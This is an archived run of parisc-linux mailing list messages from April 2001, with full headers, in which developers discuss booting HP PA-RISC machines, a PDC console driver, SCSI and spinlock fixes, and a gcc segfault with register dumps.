	for <parisc-linux@parisc-linux.org>; Sun, 15 Apr 2001 06:31:03 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14olhc-0006hO-00; Sun, 15 Apr 2001 13:32:28 +0100
In-Reply-To: <200104150423.WAA30889@puffin.external.hp.com> from "Grant Grundler" at Apr 14, 2001 10:23:24 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:10792

> stating you would dig up the patches for him but no patches.I pointed
> this out to paul but he didn't reply yet. Can you fwd me the patches?

Sent off list




From - Thu Nov 08 21:17:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting 735/99
Date: Sun, 15 Apr 2001 21:47:21 +0800
Lines: 22
Approved: news@gmane.org
Message-ID: <20010415214718.I5351@neep.com.au>
References: <007701c0c415$3f4779a0$1401a8c0@peewee> <20010413233152.F8797@neep.com.au> <20010413201639.A3780@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620037 17938 80.91.229.3 (22 Nov 2014 01:33:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 15 07:47:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-03.iinet.net.au [203.59.24.18])
	by dsl2.external.hp.com (Postfix) with SMTP id 7C665482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Apr 2001 07:47:37 -0600 (MDT)
Original-Received: (qmail 23529 invoked by uid 666); 15 Apr 2001 13:47:29 -0000
Original-Received: from unknown (HELO guinness.neep.com.au) (203.59.109.200)
  by mail.iinet.net.au with SMTP; 15 Apr 2001 13:47:29 -0000
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id VAA29957
	for parisc-linux@lists.parisc-linux.org; Sun, 15 Apr 2001 21:47:24 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010413201639.A3780@beavis.ybsoft.com>; from rbrad@beavis.ybsoft.com on Fri, Apr 13, 2001 at 08:16:39PM -0600
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:10793

Ryan Bradetich said:
> I believe the 735 requires rbootd.  I know debian has a package for this
> and I think a redhat rbootd package can be found at:
> 
> ftp://puffin.external.hp.com/pub/parisc/binaries/tgz/rbootd-2.0-2.tar.gz
> 
> - Ryan

Tut tut, how did I forget that ... I also have a 735 which gets its
kernel by rbootd.  The rbootd server runs the LAN's dhcpd as well, that
is my excuse.  =)

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:17:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] One further step ... success: My E55 (9000/856) runs bash-2.04 via PDC
Date: Mon, 16 Apr 2001 00:12:33 +0200
Organization: private
Lines: 46
Approved: news@gmane.org
Message-ID: <3ADA1CD1.C3251E9B@dot.at>
References: <3AD788DB.2A4A73E2@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620037 17943 80.91.229.3 (22 Nov 2014 01:33:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 15 16:12:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viemta06.chello.at (viemta06.chello.at [195.34.133.56])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D21B482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Apr 2001 16:12:35 -0600 (MDT)
Original-Received: from dot.at ([62.178.92.247]) by viemta06.chello.at
          (InterMail vK.4.03.02.00 201-232-124 license 6aea1bd1f01aef5a9a73363c16ebee43)
          with ESMTP id <20010415221232.ONFI27182.viemta06@dot.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Mon, 16 Apr 2001 00:12:32 +0200
Original-Sender: chris@dsl2.external.hp.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10794

Christoph Plattner wrote:
> 
> Hello PA-RISC community.
> 
> Again and again I want to have my E55 running Linux, but the problem
> is the serial lines (8-port MDP) is a proprietary interface. So I needed
> a solution.
> 
> I had the idea to use the PDC console, months ago.
> Today hacked a driver (template was serial.c) for a polling PDC device
> driver. I called it pdc_drv.c, the device is "ttyQ0", with MAJOR 30,
> MINOR 0
> and I use a polling period of 30ms (enough for a serial console i/f).
> 
> Because I have not further implemented the internel console i/f for my
> driver, I used the hack with the link of
>         /dev/console --> /dev/ttyQ0
> And my machine boots up via NFS !
> 
> Perhaps we can make a "driver" out of this "hack" !
> 
> In my driver I also use the hack, I have done for the serial.c, that
> with `^\' I can reboot ( machine_restart() ) the computer to work
> remote on it !
> 
> With friendly regards
> 
>         Christoph P.
> 
> --
> -------------------------------------------------------------------------
> private:        christoph.plattner@dot.at
> company:        christoph.plattner@alcatel.at
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:17:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] One further step ... success: My E55 (9000/856) runs bash-2.04 via PDC
Date: Mon, 16 Apr 2001 00:18:47 +0200
Organization: private
Lines: 77
Approved: news@gmane.org
Message-ID: <3ADA1E47.D3C12A7B@dot.at>
References: <3AD788DB.2A4A73E2@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620037 17944 80.91.229.3 (22 Nov 2014 01:33:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 15 16:18:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viemta06.chello.at (viemta06.chello.at [195.34.133.56])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1C961482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Apr 2001 16:18:49 -0600 (MDT)
Original-Received: from dot.at ([62.178.92.247]) by viemta06.chello.at
          (InterMail vK.4.03.02.00 201-232-124 license 6aea1bd1f01aef5a9a73363c16ebee43)
          with ESMTP id <20010415221847.ONIN27182.viemta06@dot.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Mon, 16 Apr 2001 00:18:47 +0200
Original-Sender: chris@dsl2.external.hp.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10795

One further step !

I saw in pdc_cons.c (under arch/parisc/kernel/) that the device
'ttyB'... is
defined for the PDC console. So I changed the driver and added the
driver
as "device" in pdc_cons.c, in the console structure.

So no the thing is accessed in the correct way. The /dev/console is
original
(major=5, minor=1) and not a link to anywhere, and the kernel command
line
has the string "console=ttyB0". (/dev/ttyB0 is major=30, minor=0) !

With friendly regards

	Christoph

PS: I wrote these last mails, because there are some E45/E55 users out
there,
and they are not happy not being able to boot linux. Now there is a way
to use
it via NFS ROOT with the following restrictions:

	- Only port ttyB0 is usable (polling driver, only port 0 console of
MDP)
	- No SCSI support (only NFS ROOT !)
	- nO support of the parallel port.

-------------------------------------------------------------

Christoph Plattner wrote:
> 
> Hello PA-RISC community.
> 
> Again and again I want to have my E55 running Linux, but the problem
> is the serial lines (8-port MDP) is a proprietary interface. So I needed
> a solution.
> 
> I had the idea to use the PDC console, months ago.
> Today hacked a driver (template was serial.c) for a polling PDC device
> driver. I called it pdc_drv.c, the device is "ttyQ0", with MAJOR 30,
> MINOR 0
> and I use a polling period of 30ms (enough for a serial console i/f).
> 
> Because I have not further implemented the internel console i/f for my
> driver, I used the hack with the link of
>         /dev/console --> /dev/ttyQ0
> And my machine boots up via NFS !
> 
> Perhaps we can make a "driver" out of this "hack" !
> 
> In my driver I also use the hack, I have done for the serial.c, that
> with `^\' I can reboot ( machine_restart() ) the computer to work
> remote on it !
> 
> With friendly regards
> 
>         Christoph P.
> 
> --
> -------------------------------------------------------------------------
> private:        christoph.plattner@dot.at
> company:        christoph.plattner@alcatel.at
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:17:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 9000/730 booting but SCSI Problems (mke2fs)
Date: Mon, 16 Apr 2001 18:31:28 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20010416183128.A18045@parcelfarce.linux.theplanet.co.uk>
References: <20010409225507.RNIM272.mta05-svc.ntlworld.com@mustain.demon.co.uk>; <20010410093901.J6992@linuxcare.com> <20010414140053.CSRU283.mta03-svc.ntlworld.com@mustain.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620038 17947 80.91.229.3 (22 Nov 2014 01:33:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:58 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	parisc-linux@lists.parisc-linux.org, apul@israeli.demon.co.uk
To: jeffa@owlpoo.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 16 11:31:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0C81482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Apr 2001 11:31:32 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14pCqW-0006PE-00; Mon, 16 Apr 2001 18:31:28 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010414140053.CSRU283.mta03-svc.ntlworld.com@mustain.demon.co.uk>; from jeffa@mustain.demon.co.uk on Sat, Apr 14, 2001 at 02:59:50PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10796

On Sat, Apr 14, 2001 at 02:59:50PM +0100, Jeff Arthur wrote:
> My problem has now moved on, have got all things up and running 
> of the hard disk now, but a few key exes are hanging, rpc.lockd, 
> nscd, tar etc.
> 
> The ones in the init i have got around by removing the entries from 
> rcx.d etc, but not being able to use tar is a pain.
> 
> >From posts around feb it looked like there was a known problem 
> with spinlock.  Has any progress been made in that area?

Yes, this problem is now fixed.  http://bugs.parisc-linux.org/db/76/76.html

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting 735/99
Date: Mon, 16 Apr 2001 18:41:18 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20010416184118.B18045@parcelfarce.linux.theplanet.co.uk>
References: <007701c0c415$3f4779a0$1401a8c0@peewee> <20010413233152.F8797@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620038 17950 80.91.229.3 (22 Nov 2014 01:33:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:58 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 16 11:41:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA115482A
	for <parisc-linux@parisc-linux.org>; Mon, 16 Apr 2001 11:41:19 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14pD02-0006kd-00
	for parisc-linux@parisc-linux.org; Mon, 16 Apr 2001 18:41:18 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010413233152.F8797@neep.com.au>; from andrew@neep.com.au on Fri, Apr 13, 2001 at 11:31:54PM +0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10797

On Fri, Apr 13, 2001 at 11:31:54PM +0800, Andrew Shugg wrote:
> I don't think a partition table written on the i386 would be readable by
> the HP box though.

Actually, it is.  We decided to simply adopt the x86 partition format
rather than defining a new one.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] one problem with base-20010404 on 720, no problems on E55
Date: Mon, 16 Apr 2001 23:43:11 +0200
Organization: private
Lines: 29
Approved: news@gmane.org
Message-ID: <3ADB676F.473EB406@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620038 17952 80.91.229.3 (22 Nov 2014 01:33:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 16 15:43:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viemta05.chello.at (viemta05.chello.at [195.34.133.55])
	by dsl2.external.hp.com (Postfix) with ESMTP id 51BB7482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Apr 2001 15:43:13 -0600 (MDT)
Original-Received: from dot.at ([62.178.92.247]) by viemta05.chello.at
          (InterMail vK.4.03.02.00 201-232-124 license 6aea1bd1f01aef5a9a73363c16ebee43)
          with ESMTP id <20010416214310.PRGM29087.viemta05@dot.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Mon, 16 Apr 2001 23:43:10 +0200
Original-Sender: chris@dsl2.external.hp.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10798

Hello PA-RISC group(s)!

Thanks again for your good work.

The new tarball "base-20010404" has a problem on my 9000/720. Some
commands begin to block (I have not debugged yet).
For example a 
	ls -l /
blocks. It outputs "total 24" or whatever, but no files are displayed,
and the command blocks (no prompt comes again).

On my E55 server (9000/856) the base-20010404 works perfect !! 
An "ls -l /" works perfectly as expected.

The blocking on the 720 I also saw on some other commands, but I don't 
remember at the moment.

With friendly regards

	Christoph Plattner


-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:17:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mattias Wadenstein <maswan@acc.umu.se>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc segfault when building screen
Date: Tue, 17 Apr 2001 06:54:15 +0200 (MET DST)
Lines: 54
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.33.0104170639220.12304-100000@nasse.acc.umu.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620039 17958 80.91.229.3 (22 Nov 2014 01:33:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:59 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 16 22:54:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from khan.acc.umu.se (khan.acc.umu.se [130.239.18.139])
	by dsl2.external.hp.com (Postfix) with ESMTP id B7F2D482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Apr 2001 22:54:17 -0600 (MDT)
Original-Received: from nasse.acc.umu.se (maswan@nasse.acc.umu.se [130.239.18.207])
	by khan.acc.umu.se (8.11.2/8.11.2) with ESMTP id f3H4sGk03952
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Apr 2001 06:54:16 +0200 (MEST)
Xref: news.gmane.org gmane.linux.ports.parisc:10799

"apt-get -b source screen" gives this after a while:

acls.c: In function `AclSetPerm':
acls.c:845: Internal error: Segmentation fault
Please submit a full bug report, with preprocessed source if appropriate.
See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.

I have done this twice and gotten the segfault in the same place.

Some output:

do_page_fault() pid=13654 command='cc1' type=15 address=0x00000008

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111000001111
r0-3     00000000 0027d024 0012a85b 00000000
r4-7     002a2270 00000000 00000000 00000000
r8-11    00000020 00000000 00249824 00000007
r12-15   0000001c 0027d024 0027d024 0024a024
r16-19   00000000 00000021 0021ef14 003a08b8
r20-23   00000000 003a08d8 40149ec8 00000018
r24-27   00000024 00000040 003a08b8 00247824
r28-31   003a08b8 003a08b0 bff01180 000bdb07
sr0-3    00000c64 00000c64 00000000 00000c64
sr4-7    00000c64 00000c64 00000c64 00000c64

IASQ: 00000c64 00000c64 IAOQ: 0012a86b 0012a86f
 IIR: 0c701093    ISR: 00000c64  IOR: 00000008
ORIG_R28: 4052ea60

do_page_fault() pid=14793 command='cc1' type=15 address=0x00000008

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111000001111
r0-3     00000000 0027d024 0012a85b 00000000
r4-7     002a2270 00000000 00000000 00000000
r8-11    00000020 00000000 00249824 00000007
r12-15   0000001c 0027d024 0027d024 0024a024
r16-19   00000000 00000021 0021ef14 003a08b8
r20-23   00000000 003a08d8 40149ec8 00000018
r24-27   00000024 00000040 003a08b8 00247824
r28-31   003a08b8 003a08b0 bff01180 000bdb07
sr0-3    000018bc 000018bc 00000000 000018bc
sr4-7    000018bc 000018bc 000018bc 000018bc

IASQ: 000018bc 000018bc IAOQ: 0012a86b 0012a86f
 IIR: 0c701093    ISR: 000018bc  IOR: 00000008
ORIG_R28: 4052ea60

/Mattias Wadenstein - trying to build some stuff





From - Thu Nov 08 21:17:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 710 SCSI & LAN problems
Date: Tue, 17 Apr 2001 09:10:27 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20010417091027.H11226@linuxcare.com>
References: <01041223044200.22122@venus.solar-system.the7lg.de> <20010412231257.D11226@linuxcare.com> <01041300224801.22122@venus.solar-system.the7lg.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620039 17963 80.91.229.3 (22 Nov 2014 01:33:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: buffalo bill <buffalo@uranus.solar-system.the7lg.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 17 02:10:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 00EDF482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Apr 2001 02:10:14 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 6197CB008; Tue, 17 Apr 2001 09:10:27 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <01041300224801.22122@venus.solar-system.the7lg.de>; from buffalo@uranus.solar-system.the7lg.de on Fri, Apr 13, 2001 at 12:22:48AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:10800

On Fri, Apr 13, 2001 at 12:22:48AM +0200, buffalo bill wrote:
> > No, that is expected behaviour on older systems with non-consistent
> > memory.  The problem appears to be with interrupt routing from the
> > scsi and lan chips to the cpu, and we don't have the documentation to
> > resolve that at the moment.
> >
> > Richard
> 
> Thank you for your answer.
> 
> I almost forgot to say: HIL is also broken on the 710.
> I guess there is nothing recently working on the 710 that needs to handle 
> with interrupts.
> 
> Could you tell me on which chip is the interrupt handling done ?
> Is there something like a APIC ?

A custom HP chip, called ASP on the 710, I think.

Richard





From - Thu Nov 08 21:17:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 9000/730 booting but SCSI Problems (mke2fs)
Date: Tue, 17 Apr 2001 10:49:20 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20010417104920.J11226@linuxcare.com>
References: <20010409225507.RNIM272.mta05-svc.ntlworld.com@mustain.demon.co.uk>; <20010410093901.J6992@linuxcare.com> <20010414140053.CSRU283.mta03-svc.ntlworld.com@mustain.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620039 17968 80.91.229.3 (22 Nov 2014 01:33:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, apul@israeli.demon.co.uk
To: jeffa@owlpoo.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 17 03:49:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id AAE7D482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Apr 2001 03:49:07 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id A3FB0B007; Tue, 17 Apr 2001 10:49:20 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010414140053.CSRU283.mta03-svc.ntlworld.com@mustain.demon.co.uk>; from jeffa@mustain.demon.co.uk on Sat, Apr 14, 2001 at 02:59:50PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:10801

On Sat, Apr 14, 2001 at 02:59:50PM +0100, Jeff Arthur wrote:
> Thanks Richard, the commnad line change you described seems 
> to have worked a treat.

Hmm, so it seems the sim700 driver has problems with disconnect/reselect
enabled, on your system at least.  I'll do some testing here.

> My problem has now moved on, have got all things up and running 
> of the hard disk now, but a few key exes are hanging, rpc.lockd, 
> nscd, tar etc.
> 
> The ones in the init i have got around by removing the entries from 
> rcx.d etc, but not being able to use tar is a pain.
> 
> >From posts around feb it looked like there was a known problem 
> with spinlock.  Has any progress been made in that area?

As Matthew said, that is fixed.  You might try a new base tarball from
<ftp://puffin.external.hp.com/pub/parisc/binaries/debian/basetars/>.

Richard





From - Thu Nov 08 21:17:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Wow.
Date: Tue, 17 Apr 2001 10:54:21 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.33.0104171048310.9556-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620040 17970 80.91.229.3 (22 Nov 2014 01:34:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:00 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 17 08:55:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.calyx.net (mail.calyx.net [216.82.160.19])
	by dsl2.external.hp.com (Postfix) with SMTP id AAEC9482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Apr 2001 08:55:35 -0600 (MDT)
Original-Received: (qmail 1213 invoked from network); 17 Apr 2001 10:55:03 -0400
Original-Received: from mojo.calyx.net (HELO mojo) (c0ghus75pukgkk7pkxwp@208.132.136.2)
  by mail.calyx.net with SMTP; 17 Apr 2001 10:55:03 -0400
Xref: news.gmane.org gmane.linux.ports.parisc:10802

I just updated my system so I could begin work on the HIL
driver (have docs now, thanks everyone) and that was MUCH
less painful than I thought it was going to be.  Sure, I
had to comb through the packages with dselect and download
some of the .debs by FTP, but the toolchain and kernel
built as per the instructions with no finagling, and the
upgrade of my old crusty libc didn't break the system.

Kudos to all.  This distro is really shaping up!

--
Brian S. Julin





From - Thu Nov 08 21:17:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jes Sorensen <jes@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FB cleanups
Date: 17 Apr 2001 20:04:53 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <d366g3xv0a.fsf@lxplus015.cern.ch>
References: <E14o832-0003Ih-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620040 17972 80.91.229.3 (22 Nov 2014 01:34:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:00 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 17 12:04:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp1.cern.ch (smtp1.cern.ch [137.138.128.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3BAC9482A
	for <parisc-linux@parisc-linux.org>; Tue, 17 Apr 2001 12:04:58 -0600 (MDT)
Original-Received: from lxplus015.cern.ch (IDENT:root@lxplus015.cern.ch [137.138.161.112])
	by smtp1.cern.ch (8.9.3/8.9.3) with ESMTP id UAA15616;
	Tue, 17 Apr 2001 20:04:55 +0200 (MET DST)
